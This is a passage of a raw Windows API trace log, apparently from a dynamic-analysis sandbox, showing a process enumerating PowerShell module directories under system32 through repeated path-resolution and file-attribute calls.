lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc1b1554, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.695] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0200.695] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0200.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.696] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.696] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0200.696] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0200.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.696] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc212127, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.696] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0200.696] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0200.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.697] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc21280f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.697] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0200.697] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0200.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.697] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc212c4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.697] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MMAgent", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0200.697] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MMAgent", nBufferLength=0x3b, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MMAgent", lpFilePart=0x0) returned 0x3a [0200.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.697] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MMAgent" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\mmagent"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc213093, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.698] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0200.698] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", nBufferLength=0x39, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", lpFilePart=0x0) returned 0x38 [0200.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.698] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\msdtc"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.698] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0200.698] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ", nBufferLength=0x38, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ", lpFilePart=0x0) returned 0x37 [0200.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.698] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\msmq"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20bc0906, ftCreationTime.dwHighDateTime=0x1d32773, ftLastAccessTime.dwLowDateTime=0x2397fa76, ftLastAccessTime.dwHighDateTime=0x1d32773, ftLastWriteTime.dwLowDateTime=0x2397fa76, ftLastWriteTime.dwHighDateTime=0x1d32773, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.699] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0200.699] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter", nBufferLength=0x3e, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter", lpFilePart=0x0) returned 0x3d [0200.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.699] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netadapter"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc2679e0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e8ec2c6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.699] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0200.699] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection", nBufferLength=0x41, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection", lpFilePart=0x0) returned 0x40 [0200.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.699] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netconnection"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc268719, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e8ec2c6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.700] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0200.700] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture", nBufferLength=0x49, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture", lpFilePart=0x0) returned 0x48 [0200.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.700] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\neteventpacketcapture"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc268cf6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e912528, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.700] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0200.700] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo", nBufferLength=0x3b, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo", lpFilePart=0x0) returned 0x3a [0200.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.700] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netlbfo"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc2dd6b5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e912528, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.701] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0200.701] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", nBufferLength=0x3a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", lpFilePart=0x0) returned 0x39 [0200.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.701] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc34165b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e938796, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.701] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0200.701] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", nBufferLength=0x3a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", lpFilePart=0x0) returned 0x39 [0200.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.701] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc3421c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e938796, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.702] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0200.702] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity", nBufferLength=0x3f, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity", lpFilePart=0x0) returned 0x3e [0200.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.702] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netsecurity"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.702] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0200.702] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam", nBufferLength=0x41, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam", lpFilePart=0x0) returned 0x40 [0200.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.702] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netswitchteam"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc425b0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e95e9fc, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.703] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0200.703] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP", nBufferLength=0x3c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP", lpFilePart=0x0) returned 0x3b [0200.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.703] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\nettcpip"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc426217, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e984c6e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.703] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0200.703] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus", nBufferLength=0x4d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus", lpFilePart=0x0) returned 0x4c [0200.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.703] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networkconnectivitystatus"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc468c21, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e984c6e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.703] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0200.704] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager", nBufferLength=0x48, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager", lpFilePart=0x0) returned 0x47 [0200.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.704] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networkswitchmanager"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.704] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0200.704] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition", nBufferLength=0x45, 